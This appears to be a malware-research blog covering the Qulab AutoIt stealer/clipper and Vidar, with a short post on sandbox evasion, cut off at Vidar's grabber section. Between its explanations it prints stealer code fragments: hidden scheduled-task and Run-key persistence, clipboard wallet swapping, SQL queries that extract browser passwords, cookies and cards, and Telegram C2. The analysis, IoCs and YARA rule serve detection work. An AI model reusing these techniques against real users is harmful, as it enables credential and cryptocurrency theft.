Everything that is starting with '#' is a directive, this is technically the first thing that the script will check, and here, it's configured to go to a specific function at all cost that is "A5300003647_", this one is the main function.

‌‌ 
‌‌ 
#СЪЕБИСЬ ОТСЮБДА ДУДА ТЫ ССАНАЯ БЛЯХА МУХА
#NoTrayIcon
#OnAutoItStartRegister "A5300003647_"
‌‌ 
‌‌

#NoTrayIcon - Hide the AutoIT icon on the tray task
#OnAutoItStartRegister - The first function that will be called at the beginning of the script (an equivalent of the main function)

The Main function is VIP

The first function of Qulab is critical because this is where almost all the data is initialized for the tasks. The variable $DLIT is storing a "huge" string that will be split with the delimiter "o2B2Ct" and stored into the array $OS

Note: the name mentioned here is the one that will be used for this stealer script, results may vary between samples but the idea remains the same.

‌‌ 
‌‌ 
FUNC A5300003647_()
  FOR $AX0X0XA=1 TO 5
    LOCAL $DLIT="203020o2B2Ct203120o..." 
    GLOBAL $A5300003647,$OS=STRINGSPLIT($DLIT,"o2B2Ct",1)
    IF ISARRAY($OS) AND $OS[0]>=19965 THEN EXITLOOP
    SLEEP(10)
    NEXT
ENDFUNC
‌‌ 
 
‌‌

Global Variables are the keys

Global Variables are certainly the main focus of Qulab, they are nowhere and everywhere, they are so impactful with the master array that a single modification of one Variable can have a domino effect for the whole malware that could end to a segmentation fault or anything else that could crash the script.

When a variable is initialized, there are multiple steps behind it :

  1. Selecting a specific value from the master array
  2. Converting the value to a string
  3. Profit
‌‌ 
‌‌ 
GLOBAL $A1D7450311E=A5300003647($OS[1])
‌‌ 
‌‌

the function "A5300003647" is, in fact, an equivalent of "From Hex" feature, and it's converting 2 bytes by 2 bytes the values.

‌‌ 
‌‌ 
FUNC A5300003647($A5300003647)
  LOCAL $A5300003647_
  FOR $X=1 TO STRINGLEN($A5300003647) STEP 2
    $A5300003647_&=CHR(DEC(STRINGMID($A5300003647,$X,2)))
    NEXT
  RETURN $A5300003647_
ENDFUNC
‌‌ 
‌‌

By just tweaking the instructions of the AutoIT scripts, with the help of some adjustments (thanks homemade deobfuscate scripts and patience), variables are now almost fully readable.

ModifiedVariables

After modifying our 19966 variables (that's a lot), we can see clearly most of the tasks that the malware has on the pipe statically. this doesn't mean that is done with this part, It's only a first draft and it needs to be cleaned again because there is a lot of unfinished tasks and of course as I explained above, most of them are unused.

variables_cleaned.png

Main code

After all that mess to understand what is the correct path to read the code, the script is now entering into the core step, The more serious business begins right now.

Code

To summarize all the task, this is briefly what's going on :

  • Setting up, Variables that are configured in the builder
    • Name of the payload
    • Name of the schedule task
    • Name of the schedule task folder
    • name of the hidden AppData folder where the malware will do the tasks
    • Wallets
  • Hide itself
  • Do all the stealing tasks
  • Decoding & load dependances when it's required
  • Make the persistence
  • And more... 🙂

Where is the exit?

Between two functions there is sometimes global variables that declared or there are also sneaky calls that have an impact into the payload itself. They could not be really seen at a first view, because they are drowned into an amount of code. So 1 or 2 lines between dozens of functions could be easily forgettable.

OnAutoITExitRegister

we can see that is also indicating the specific method that will be called at the end of everything.

‌‌ 
‌‌ 
ONAUTOITEXITREGISTER("A1AA3F04218")
‌‌ 
‌‌ 

So with just small research, we can see our function that will be called at the end of the script between a huge amount of spaghetti code.

EXIT_DLLCLOSE

Its in fact, closing crypt32.dll module, thats is used for the CryptoAPI.

‌‌ 
‌‌ 
GLOBAL $A1A48943E37=DLLOPEN("crypt32.dll")
‌‌ 
‌‌

Some curiosities to disclose

Homemade functions or already made?

For most of the tasks, the malware is using a lot of "User Defined Functions" (UDF) with some tweaks, as explained on the AutoIT FAQ: "These libraries have been written to allow easy integration into your own scripts and are a very valuable resource for any programmer". it confirms more and more that open-source code and programming forums are useful for both sides (good & bad), so for developing malware it doesn't require to be a wizard, everything is at disposition and free.

Also for Qulab, it's confirmed that he used tweaked or original UDF for :

  • SQL content
  • Archiving content
  • Telegram API
  • Windows API
  • Memory usage

Memory optimization

AutoIT programs are known to be greedy in memory consumption and could be probably a risk to be more detectable. At multiple time, the malware will do a task to check if there is a possibility to reduce the amount of allocated memory, by removing as much as possible, pages from the working set of the process. The manipulation required to use EmptyWorkingSet and could permit to reduce by half the memory usage of the program.

 
‌‌ ‌‌
FUNC A0E64003F0C($A1B85D1000C=0)
    IF NOT $A1B85D1000C THEN $A1B85D1000C=EXECUTE(" @AutoItPID ")
    LOCAL $A3485F11D1D=DLLCALL("kernel32.dll","handle","OpenProcess","dword",(($A209DF54B2B<1536)?1280:4352),"bool",0"dword",$A1B85D1000C)
    IF @ERROR OR NOT $A3485F11D1D[0] THEN RETURN SETERROR(@ERROR+20,@EXTENDED,0)
    LOCAL $A5F55F1392E=DLLCALL(EXECUTE(" @SystemDir ")&"\psapi.dll","bool","EmptyWorkingSet","handle",$A3485F11D1D[0])
    RETURN 1
ENDFUNC
‌‌ 
‌‌

First, it will grab the PID value of the AutoIT-compiled program by executing the macro @AutoItPID, then opening it with OpenProcess. But one of the argument is quite obscure

  
 
(($A209DF54B2B<1536)?1280:4352)
‌‌ 
‌‌ 

what is behind variable $A209DF54B2B? let's dig into it...

‌‌  
‌‌  
GLOBAL CONST $A209DF54B2B=A2054F01A5F()

FUNC A2054F01A5F()
    LOCAL $A1656715F1D=DLLSTRUCTCREATE("struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct")
    DLLSTRUCTSETDATA($A1656715F1D,1,DLLSTRUCTGETSIZE($A1656715F1D))
    LOCAL $A5F55F1392E=DLLCALL("kernel32.dll","bool","GetVersionExW","struct*",$A1656715F1D)
    IF @ERROR ORNOT$A5F55F1392E[0] THENRETURNSETERROR(@ERROR,@EXTENDED,0)
    RETURN BITOR(BITSHIFT(DLLSTRUCTGETDATA($A1656715F1D,2),-8),DLLSTRUCTGETDATA($A1656715F1D,3)))
ENDFUNC
‌‌ 
‌‌ 

This is WinAPI function will retrieve the version of the current operating system used on the machine, the value returned is into a binary format. So if we look back and check with the official API.

‌‌ 
‌‌ 
//
// _WIN32_WINNT version constants
//
‌‌ 
#define _WIN32_WINNT_NT4            0x0400 // Windows NT 4.0
#define _WIN32_WINNT_WIN2K          0x0500 // Windows 2000
#define _WIN32_WINNT_WINXP          0x0501 // Windows XP
#define _WIN32_WINNT_WS03           0x0502 // Windows Server 2003
#define _WIN32_WINNT_WIN6           0x0600 // Windows Vista
#define _WIN32_WINNT_VISTA          0x0600 // Windows Vista
#define _WIN32_WINNT_WS08           0x0600 // Windows Server 2008
#define _WIN32_WINNT_LONGHORN       0x0600 // Windows Vista
#define _WIN32_WINNT_WIN7           0x0601 // Windows 7
#define _WIN32_WINNT_WIN8           0x0602 // Windows 8
#define _WIN32_WINNT_WINBLUE        0x0603 // Windows 8.1
#define _WIN32_WINNT_WINTHRESHOLD   0x0A00 // Windows 10
#define _WIN32_WINNT_WIN10          0x0A00 // Windows 10
‌‌ 
‌‌ 

With knowing the Windows Version with this function, the AutoIT script is now able to open the process correctly and analyzing it. The last task is to purge the unused working set by calling EmptyWorkingSet for cleaning some unnecessary memory.

Task scheduling

Task scheduling with stealers is summarized with one line of code, a simple and effective ShellExecute command with schtask.exe to execute periodically something, as a persistence trick. Here it's a little bit more advanced than usual, in multiple points by using a TaskService Object

‌‌
‌‌ 
$A60FD553516=OBJCREATE("Schedule.Service")
$A60FD553516.Connect()
‌‌ 
‌‌

The new task is set with a flag value of 0, as explained in the MSDN Documentation, it's a mandatory value.

‌‌ 
‌‌ 
$A489E853A1E=$A60FD553516.NewTask(0)
‌‌ 
‌‌

To be less detectable, some tricks as being done to look like legit as possible by detailing that the process has been made by the correct user, the description, the name of the task and the task folder is adjusted by what the customer wants.

‌‌ 
‌‌ 
$A4A9E951E11=$A489E853A1E.RegistrationInfo()
$A4A9E951E11.Description()= $A487E851D38
$A4A9E951E11.Author()=EXECUTE(" @LogonDomain ")&"\"&EXECUTE(" @UserName ")
‌‌ 
‌‌

After some other required values to be configured that is not really necessary to talk, it's way more interesting to talk about the setting part of this Task Service because it is quite interesting.

To maximize the yield, Qulab tweaks the service whenever the situation :

  • The laptop is not on charge
  • The battery is low
  • Network available or not

In the end, every minute, the task manager will run the task by executing the malware into the hidden repository folder in %APPDATA%.

‌‌ 
‌‌ 
$A4B9EA50562=$A489E853A1E.Settings()
$A4B9EA50562.MultipleInstances() = 0
$A4B9EA50562.DisallowStartIfOnBatteries()= FALSE
$A4B9EA50562.StopIfGoingOnBatteries()= FALSE
$A4B9EA50562.AllowHardTerminate()= TRUE
$A4B9EA50562.StartWhenAvailable()= TRUE
$A4B9EA50562.RunOnlyIfNetworkAvailable() FALSE
$A4B9EA50562.Enabled()= TRUE
$A4B9EA50562.Hidden()= TRUE
$A4B9EA50562.RunOnlyIfIdle()= FALSE
$A4B9EA50562.WakeToRun()= TRUE
$A4B9EA50562.ExecutionTimeLimit()= "PT1M" // Default PT99999H
$A4B9EA50562.Priority()= 3 // Default 5
$A3E9EB51B0D=$A489E853A1E.Principal()
$A3E9EB51B0D.Id()=EXECUTE(" @UserName ")
$A3E9EB51B0D.DisplayName()=EXECUTE(" @UserName ")
$A3E9EB51B0D.LogonType()=$A0B8E352D04
$A3E9EB51B0D.RunLevel()= 0
‌‌ 
‌‌

Another Persistence?

A classic one is used

 
 
IF NOT A3F64500C0D($A00DEB51215,$A35DEF51B61) THEN 
REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
         $A00DEB51215,"REG_SZ",""""&$A104A053309&"\"&$A60DE955B5F&"""")
 
 

There is nothing much to say more, about this part...

Encoding is not encryption

When I was digging into the code, I found a mistake that makes me laugh a little... The classical quote for saying that base64 is encryption. So maybe after this in-depth analysis, the malware developer will fix his mistake (or just insulting me :') )

b64_fail

Malware Features

Clipper

If you are unfamiliar with what is a clipper, it's in fact really simple... The idea is to alter something that is in the clipboard content with the help of some filters/rules that is most of the cases simplify as regular expressions. If it matches with something, it will modify the amount of data caught with something else that was configured. It's heavily used for swapping crypto wallet IDs from the victim to the attacker one. This is also the case with Qulab, it's focusing on Wallets & Steam trade links.

This piece of code represent the core of the clipper :

Clipper

So that are the steps:

  1. Execute a script for checking if there any new data to send for the attacker
  2. Checking if the ongoing task is present on the task scheduler.
  3. Cleaning unnecessary Working Set (see the memory optimization explained above)
  4. Make a pause in the loop for 200 ms
  5. Get the content of the clipboard with CLIPGET
  6. Check all the wallet, if it matches, substitute with the wished value.

Swap_Clipper

  1. Put the modified content on the Clipboard with CLIPPUT
  2. Repeat

All the values from the different wallet that the attacker wants to swap are stored at the beginning of the code section. By pure speculations, I'm considering that are the values that are configured in the builder.

Wallet_configured

Current List of Cryptocurrency Wallet that the stealer is switching.

Bitcoin Bitcoin Cash Bitcoin Gold Bytecoin
Cardano Lisk Dash Doge
Electronium Ethereum Graft Litecoin
Monero Neo QIWI Qtum
Steam Trade Link Stratis VIA WME
WMR WMU WMX WMZ
Waves Yandex Money ZCash

Browser Stealer

Qulab is some kind of a puzzle with multiple pieces and each piece is also another puzzle. Collectings and sorting them to solve the entire fresco is some kind of a challenge. I can admit for the browser part, even if the concept is easy and will remain always the same (for the fundamentals of a Password Stealer), the way that it was implemented is somewhat clever.

At first, every browser that is supported by the malware is checked in turn, with specific arguments :

  • The Browser path
  • The files that the stealer wants to grab with "|" as a delimiter
  • The Name of the browser

Browsers

It goes to a very important function that will search (not only for the browser), these kinds of files :

  • wallet.dat
  • Login Data
  • formhistory.sqlite
  • Web Data
  • cookies.sqlite
  • Cookies
  • .maFile

If they are matching, it enters into a loop that will save the path entry and storing it into one master variable with "|" as a delimiter for every important file.

Loop_Files

When all the files are found, it only needs to do some regular expression to filter and split the data that the malware and to grab.

GetFiles

After inspecting and storing data from browsers that are present in the list, serious business is now on the pipe... One of the binaries that are hardcoded in base64 is finally decoded and used to get some juicy data and like every time it's the popular SQLite3.dll that was inside all of this.

CFF_Explorer

Something interesting to notice is that the developer made some adjustment with the official AutoIT FUD For SQLite3 and removed all the network tasks, for avoiding downloading the libraries (32 or 64 bits) and of course be less detectable.

The file is saved into the %ROAMING% directory, and will have the name :

  • PE_Name + ".sqlite3.module.dll"

The routine remains the same for each time this library is required :

sqlite_example

  1. Checking with a patched _SQLite_GetTable2d, the SQL Statement that needs to be executed & tested is a valid one.
  2. The SQL Table is put into a loop and each iteration of the array is verified by a specific regular expression.
  3. If the content is found, it enters into another condition that will simply add them into the list of files & information that will be pushed in the malicious archive.

In the end, these requests are executed on browser files.

 
 
SELECT card_number_encrypted, name_on_card, expiration_month, expiration_year FROM credit_cards;
SELECT username_value, password_value, origin_url, action_url FROM logins;
select host, 'FALSE' as flag, path, case when isSecure = 1 then 'TRUE' else 'FALSE' end as secure, expiry, name, value from moz_cookies;
select host_key, 'FALSE' as flag, path, case when is_secure = 1 then 'TRUE' else 'FALSE' end as secure, expires_utc, name, encrypted_value from cookies;
‌‌ 
‌‌ 

Current List of supported browsers

360 Browser Amigo AVAST Browser Blisk Breaker Browser
Chromium Chromodo CocCoc CometNetwork Browser Comodo Dragon
CyberFox Flock Browser Ghost Browser Google Chrome IceCat
IceDragon K-Meleon Browser Mozilla Firefox NETGATE Browser Opera
Orbitum Browser Pale Moon QIP Surf SeaMonkey Torch
UCBrowser uCOZ Media Vivaldi Waterfox Yandex Browser

FTP

The FTP is rudimentary but is doing the task, as far than it looks, it's only targeting FileZilla software.

FTP_FTP

Grabber

Qulab doesn't have an advanced Grabber feature, it's really simplistic compared to stealers like Vidar. It simplifies by just one simple line... It's using the same function as explained above with the browsers, with the only difference, it's focusing on searching specific file format on the desktop directory

Grabber

Targeted files are

  • .txt
  • .maFile
  • wallet.dat

Wallet

Nothing to say more than Exodus is mainly targeted.

Wallet

Discord

Discord is more and more popular nowadays, so it's daily routine now to see this software targeted by almost all the current password-stealer on the market.

Discord

Steam & Steam Desktop Authenticator

The routine for Steam is almost identical to the one that I explained in Predator and will remain the same until Steam will change some stuff into the security of his files (or just changing the convention name of them).

  1. Finding the Steam path into the registry
  2. searching the config folder
  3. searching recursively into it for grabbing all the ssfn files

Steam

But! There is something different on this Password-stealer than all the other that I've seen currently. Its also targeting Steam Desktop Authenticator a Third-party software as explained on the official page as a desktop implementation of Steam's mobile authenticator app. It's searching for a specific and unique file ".maFile", it's already mentioned above in the Grabber part and The Browser Stealing part. This file contains sensitive data of the steam account linked with the Steam mobile authenticator app.

So this malware is heavily targeting Steam :

  • Clipping Steam Trade Links
  • Stealing steam sessions
  • Stealing 2FA main file from a Third-Party software.

Information log

It's a common thing with stealer to have an information file that logs important data from the victim's machine. It's also the case on Qulab, it's not necessary to explain all the part, I'm just explaining here simply with which command it was able to do get the pieces of information.

OS Version @OSVersion
OS Architecture @OSArch
OS Build @OSBuild
Username @UserName
Computer Name @ComputerName
Processor ExecQuery("SELECT * FROM Win32_VideoController","WQL",16+32)
Video Card ExecQuery("SELECT * FROM Win32_Processor","WQL",16+32)
Memory STRINGFORMAT("%.2f Gb",MEMGETSTATS()[1]/1024/1024)
Keyboard Layout ID @KBLayout
Resolution @DesktopWidth & @DesktopHeight & @DesktopDepth & @DesktopRefresh
  • Network

Not seen due to the proxy, there is a network request done on ipapi.co for getting all the network information of the victim's machine.

 
‌‌ 
$A4AC5512B62=INETREAD("https://ipapi.co/json",3)
 ‌‌ 
 

The JSON result is consolidated into one variable and saved for the final log file.

‌‌  
‌‌  
IF STRINGLEN($A4AC5512B62) > 75 THEN
    $A2B1F55481F=A4604603206(BINARYTOSTRING($A4AC5512B62))
    $A280FD53C4B =" - IP: " &A211460135A($A2B1F55481F,"[ip]") & EXECUTE(" @CRLF ")
                &" - Country: " &A211460135A($A2B1F55481F,"[country_name]") & EXECUTE(" @CRLF ")
                &" - City: " &A211460135A($A2B1F55481F,"[city]") & EXECUTE(" @CRLF ")
                &" - Region: " &A211460135A($A2B1F55481F,"[region]") & EXECUTE(" @CRLF ")
                &" - ZipCode: " &A211460135A($A2B1F55481F,"[postal]") & EXECUTE(" @CRLF ")
                &" - ISP: " &A211460135A($A2B1F55481F,"[org]") & EXECUTE(" @CRLF ")
                &" - Coordinates: " &A211460135A($A2B1F55481F,"[latitude]")&", "&A211460135A($A2B1F55481F,"[longitude]")&EXECUTE(" @CRLF ")
                &" - UTC: " &A211460135A($A2B1F55481F,"[utc_offset]")&" ("&A211460135A($A2B1F55481F,"[timezone]")&")"
ENDIF
‌‌  
 
‌‌
  • Softs
 
 
$A12EF151C00=A5944E0550E("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall","","DisplayName")
FOR $A51E7205400 = 1 TO $A12EF151C00[0][0]
    $A3B1F954B63 &=" - "&$A12EF151C00[$A51E7205400][0]&EXECUTE(" @CRLF ")
NEXT
 
 
  • Process List

Because AutoIT is based for doing automation task script, almost all the basic commands from the WinAPI are already integrated, so by simply using the ProcessList() call, the list of all the processes are stored into an array.

  
 
$A2EEFA54E30=PROCESSLIST()
FOR $A51E7205400=1 TO $A2EEFA54E30[0][0]
    $A481FB54A60&=" - "&$A2EEFA54E30[$A51E7205400][0]&" / PID: "&$A2EEFA54E30[$A51E7205400][1]&EXECUTE(" @CRLF ")
NEXT
‌‌ 
 

By mixing all this data, the log file is finally done:

 
 
# /===============================\
# |=== QULAB CLIPPER + STEALER ===|
# |===============================|
# |==== BUY CLIPPER + STEALER ====|
# |=== http://teleg.run/QulabZ ===|
# \===============================/

Date: XX.XX.2019, HH:MM:SS

Main Information:
- ...

Other Information:
- ...

Soft / Windows Components / Windows Updates:
- ...

Process List:
- ...
  
 

Instructions log

For probably helping his customers when the malware is catching data from specific software other than browsers, an additional file is added to give some explanations to fulfill the task entirely after the stealing process, step by step and stores into "Инструкция по установке.txt"

Instructions

Instructions are unique for each of these :

  • Exodus
  • Discord
  • Wallets
  • Steam
  • Filezilla
  • Telegram
  • Steam Desktop Authentication
  • Grabber part

Archive Setup

When finally everything is done on the stealing tasks, the folder is now ready to be archived, and it's using another encoded payload hardcoded into the script. It's not really complicated to understand here it's 7zip behind this huge amount of code.
7z_b64
The payload is saved into the folder repository on %APPDATA% with the name of PE_Name + ".module.dll" and executing a specific task before deleting everything.
‌‌ 
‌‌ 
ARCHIVATE($A271F153721)
RUNWAIT($A271F153721&" a -y -mx9 -ssw """&$A104A053309&"\"&$A63CEC52907&".7z"" """&$A104A053309&"\1\*""","",EXECUTE(" @SW_HIDE "))
FILEDELETE($A271F153721)
‌‌ 
‌‌
If you don't understand the command, they are explained here :
a Add
y yes on all queries
mx9 Ultra Compression Method
ssw Compress files open for writing

In the end, this is an example of a final archive file.

Archive

But there is a possibility to have all these files & folders:

‌‌ 
‌‌ 
\1\Passwords.txt
\1\Information.txt
\1\Screen.jpg
\1\AutoFills.txt
\1\CreditCards.txt
\1\Cookies
\1\Desktop TXT Files
\1\Discord
\1\Telegram
\1\Steam
\1\Exodus
\1\Wallets
\1\FileZilla
\1\SDA
‌‌ 
‌‌

Cleaning process

Simple and effective:

  • Killing the process
  • Deleting the script directory

Erasing Traces

It's easily catchable on the monitoring logs.

Telegram Bot as C2?

This malware is using a Telegram bot for communicating & alerting when data have been stolen. As usual, it's using some UDF functions, so there is nothing really new. It's not really complicated to understand how it's working.

When a bot is created, there is a unique authentication token that could be used after for making requests to it.

api.telegram.org/bot/

telegram_01

Also, it's using a private proxy when it's sending the request to the bot :

FTP

These values are used to configure the proxy setting during the HTTP request :

Proxy

How it looks like on the other side?

This malware is developed by Qulab, and it took seconds to find the official sale post his stealer/clipper. As usual, every marketing that you want to know about it is detailed.

  • This stealer/clipper is sold 2000 rubles (~30$)
  •  Support is possible

Qulab_Darkweb

Let's do some funny stuff

I made some really funny unexpected content by modifying some instructions to make something that is totally unrelated at all. Somewhat, patching malware could be really entertaining and interesting!

Note: If you haven't seen the anime "Konosuba", you will not understand at all, what's going on :p

Additional Data

IoC

Hashes

  • a915fc346ed7e984e794aa9e0d497137
  • 887fac71dc7e038bc73dc9362585bf70
  • a915fc346ed7e984e794aa9e0d497137

IP

  • 185.142.97.228

Proxy Port

  • 65233

Schedule Task

  • %PAYLOAD_NAME%
  • Random Description

Folders & Files

  • %APPDATA%/%RANDOM_FOLDER%/
  • %APPDATA%/%RANDOM_FOLDER%/1/
  • %PAYLOAD_NAME%.module.exe (7zip)
  • %PAYLOAD_NAME%.sqlite.module.exe (sqlite3.dll)

Threat Actor

MITRE ATT&CK

Software & Language used

  • AutoIT
  • Aut2Exe (Decompiler)
  • myAut2Exe (Decompiler)
  • CFF Explorer
  • x32dbg
  • Python

Yara

rule Qulab_Stealer : Qulab 
{
  meta:
    description = "Yara rule for detecting Qulab (In memory only)"
    author = "Fumik0_"

  strings:
    $s1 = "QULAB CLIPPER + STEALER" wide ascii
    $s2 = "SDA" wide ascii
    $s3 = "SELECT * FROM Win32_VideoController" wide ascii
    $s4 = "maFile" wide ascii
    $s5 = "Exodus" wide ascii
   
  condition:
    all of ($s*)
}

Conclusion

Well, it's cool sometimes to dig into some stuff that is not really common for the language choice (on my point of view for this malware). It's entertaining and always worth to learn new content, find new tools, find a new perspective to put your head into some totally unknown fields.

Qulab stealer is interesting just in fact that is using AutoIT and abusing a telegram bot for sharing some data but stealing & clipper features remain the same as all the other stealers. The other thing that, it's confirming also that more and more people are using User Defined Functions/Libraries free to use to do good or bad things, this trends will be more and more common in those days, developers or simple users with lack of skills is now just doing some google research and will be able to make a software or a malware, without knowing anything in depth about what the code is doing, when the task is done, nothing else matters at the end.

But I admit, I really take pleasure to patch it for stupid & totally useless stuff 🙂

Now it's time for a break.

original

#HappyHunting

Special thanks: @siri_urz, @hh86_

CPU Power Usage – Sandbox Evasive Technique

27 February 2019 at 19:53
By: fumko

Hi Folks,

I'm not usually in this kind of paper, but this time, I am exceptionally writing a really short one about something related to some VM evasive PoC.

There is always some tricks to detect if you are running on a virtual machine or not. Most of them are stupid, but it's enough accurate to just lose some minds when you have to harden your sandbox.

The idea here, there are some sensors to check the current CPU Power Usage. When you see as below, it returns this kind of values, when you are running a program normally.

RealMachine.png

But in a sandbox, it will return 0.

AntiVM

Source: >>> Crappy ugly content <<<

#HappyHunting

Résultat de recherche d'images pour "Umaru chan gif"

Photo by Shawn Stutzman from Pexels

 

 

 

Let’s dig into Vidar – An Arkei Copycat/Forked Stealer (In-depth analysis)

24 December 2018 at 09:32
By: fumko

Sometimes when you are reading tons and tons of log of malware analysis, you are not expecting that some little changes could be in fact impactful.

I paid the price when I was analyzing a supposed Arkei malware. my Yara rule at that time was supposed to trigger this malware, but after some reversing, I realized that I was confronted with something different. Some strings linked to Arkei signature was deleted and a new one appeared with the string "Vidar", there are also some other tweaks in the in-depth analysis that proves there are some differences (but small), but all the rest was totally identical to Arkei.

The malware is written in C++, seems to have started activities at the beginning of October 2018 and have all the kind of classic features of stealers:

  • Searching for specific documents
  • Stealing ID from cookie browsers
  • Stealing browser histories (also from tor browser)
  • Stealing wallets
  • Stealing data from 2FA software
  • Grabbing message from messenger software
  • Screenshot
  • Loader settings
  • Telegram notifications (on server-side)
  • Get a complete snapshot of all information of the computer victim

Sold with a range of 250-700$, this stealer on shop/forums and when people buy it, they have access to a C2 Shop portal where they are able to generate their own payloads. So there is no management on their side. Also, domains who leads to the C2/Shop are changed every 4 days.

For this in-depth analysis, I will inspect the 4.1 version of Vidar, take an overview of the admin panel, catching the differences with Arkei.

Basic Countries by-passing

So first of all, we have some classic pattern to quit the program if the victim machines are configured in some language with the help of GetUserDefaultLocaleName. This is one of the easy tricks to check if the malware is not infected users from specific countries.

GetUserDefaultLocaleName

As explained in the MSDN, A "locale" is a collection of language-related user preference information represented as a list of values, the stealer will check if the language is corresponding with the list of countries that mentioned below.

checking_countries

With a few seconds of searching on google, it's easy to understand which countries are behind the locale names :

Locale Country
ru-RU Russia
be-BY Belarus
uz-UZ Uzbekistan
kk-KZ Kazhakstan
az-AZ Azerbaijan

LCID Structure - https://msdn.microsoft.com/en-us/library/cc233968.aspx
Language Code Table - http://www.lingoes.net/en/translator/langcode.htm
LocaleName - https://docs.microsoft.com/fr-fr/windows/desktop/Intl/locale-names
Locale - https://docs.microsoft.com/fr-fr/windows/desktop/Intl/locales-and-languages

Mutex generation

The mutant string generated by Vidar is unique for each victim, but simple to understand how it is generated. This is just a concatenation of two strings :

  • Hardware Profile ID

GetCurrentHwProfileA is used to retrieve the current hardware profile of the computer with the value of szHwProfileGuid. If it fails, it will return "Unknown" here.

szHwProfileGuid

  • The Machine GUID

With the help of RegOpenKeyExA, the value of the registry key  is fetched:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This is the UUID created by Windows during the installation of the operating system.

machine_guid

When it's done, the mutex is created, just like this :

Mutex

String setup

When Vidar is entering in the main function, it needs to store some required strings to be able to work properly for some further steps.

vidar_strings

All the RVA address of each string are stored in the .data section. The malware will go there to access to the requested string.

hexdump_strings

This is a trick to slow down the static analysis of the malware, but this is really easy to surpass 🙂

C2 Domain & Profile ID

When the malware is generated by the builder on the customer area. A unique ID is hardcoded into it. When Vidar will request this value on the malicious domain, it will retrieve the corresponding profile that the threat actor wants to grab/steal into the victim machine.

So on this case, this the profile ID is "178". If there is no config on the malware, the profile ID "1" is hardcoded into it.

vidar_profile_config

The C2 domain is a simple XORed string, the key is directly put into the XOR function to decrypt the data.

vidar_c2

And decrypted it's in fact "newagenias.com"

vidar_c2_decrypted

Configs are possible to be extracted easily with the script izanami.py on my GitHub repository.

How to understand the config format

For example, this is default configuration the malware could get from the C2 :

1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;

Each part have the ";" in delimiter, so let's dig into it

  • First part
1 Saved password
1 Cookies / AutoFill
1 Wallet
1 Internet History
1 ??? -  Supposed to be Skype (not implemented)
1 ??? - Supposed to be Steam (not implemented)
1 Telegram
1 Screenshot
1 Grabber
1 ???
250 Max Size (kb)
Default Name of the profile (also used for archive file into the files repository)
  • Second part
%DESKTOP % Selected folder repository where the grabber feature will search recursively (or not) some selected data
  • Third part

*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*

  • Fourth part
50 Max Size per file (kb)
true Collect Recursively
  • Fifth part:

movies:music:mp3;

This is the exception part, the grabber will avoid those strings if it matches in the files searched recursively in the specific wanted folder.

The setup is quite a mess if we are looking into the code. each option is stored into a byte or dword variable.

vidar_config_setup

Folder generation

To summarize all kind of possibles files/folders that will be generated for the malicious repository is in fact pretty simple :

\\files                   <- Master folder
\\files\\Autofill         <- Auto-Fill files
\\files\\CC               <- Credit Cards
\\files\\Cookies          <- Cookies
\\files\\Downloads        <- Downloaded data history from browsers
\\files\\Files            <- Profile configs (Archives)
\\files\\History          <- Browser histories
\\files\\Soft             <- Master folder for targeted softwares
\\files\\Soft\\Authy      <- 2FA software
\\files\\Telegram         <- Telegram messages
\\files\\Wallets          <- Cryptomining Wallets

Generalist files

\\files\screenshot.jpg     <- Actual screenshot of the screen
\\files\passwords.txt      <- Passwords consolidated all at once
\\files\\information.txt   <- Snapshot of the computer setup

Libraries necessary to grab some data

Something that I love when I read some malware specs, it's when they said that the product could be launched without the necessity to have some runtime libraries or other required software on the machine. But when you dig into the code or just watching some network flow, you can see that the malware is downloading some DLL to be able to do some tasks.

meme

And for this case, they are required during the stealing process of different kind of browsers.

freebl3.dll Freebl Library for the NSS (Mozilla Browser)
mozglue.dll Mozilla Browser Library
msvcp140.dll Visual C++ Runtime 2015
nss3.dll Network System Services Library (Mozilla Browser)
softokn3.dll Mozilla Browser Library
vcruntime140.dll Visual C++ Runtime 2015

They are deleted when the task is done.

vidar_deleting_dll

FTP

List of supported software

  • FileZilla
  • WinSCP

2FA software

Something that I found interesting on this malware is that also 2FA software is also targeted, a feature that I considered not seen really in the wild, and pretty sure this will be more and more common in the future. With the multiplication of those kinds of protection. Victims must understand that 2FA is not the ultimate way to protect accounts from hackers, this could be also another door for vulnerabilities 🙂

So with Vidar, the Authy software is targeted...

vidar_2FA_Authy

More specifically the SQLite file on the corresponding application on %APPDATA% repository. It looks like this is the same operating where stealer wants to steal data with software like Discord or Chrome.

vidar_2FA_Reverse

So guys, be careful with your 2FA software 🙂

Vidar_2FA_reviews

Browsers

Something interesting to mention, this bad boy is also stealing Tor Browser stuff.

List of supported Browsers

  • 360 Browser
  • Amigo
  • BlackHawk
  • Cent Browser
  • Chedot Browser
  • Chromium
  • CocCoc
  • Comodo Dragon
  • Cyberfox
  • Elements Browser
  • Epic Privacy
  • Google Chrome
  • IceCat
  • Internet Explorer
  • K-Meleon
  • Kometa
  • Maxthon5
  • Microsoft Edge
  • Mozilla Firefox
  • Mustang Browser
  • Nichrome
  • Opera
  • Orbitum
  • Pale Moon
  • QIP Surf
  • QQ Browser
  • Sputnik
  • Suhba Browser
  • Tor Browser
  • Torch
  • URAN
  • Vivaldi
  • Waterfox

Of course, this list could be more important than this if there are some browsers based on chromium repository.

Messengers/Mailer

I will not explain here, how it works, but the technique is the same that I've explained in my previous blog post. (Especially for the Telegram part).

  • Bat!
  • Pidgin
  • Telegram
  • Thunderbird

Wallets

  • Anoncoin
  • BBQCoin
  • Bitcoin
  • DashCore
  • DevCoin
  • DigitalCoin
  • Electron Cash
  • ElectrumLTC
  • Ethereum
  • Exodus
  • FlorinCoin
  • FrancoCoin
  • JAXX
  • Litecoin
  • MultiDoge
  • TerraCoin
  • YACoin
  • Zcash

Of course, this list could change if the customer added some additional files to search on specific areas on the victim machine.

Grabber

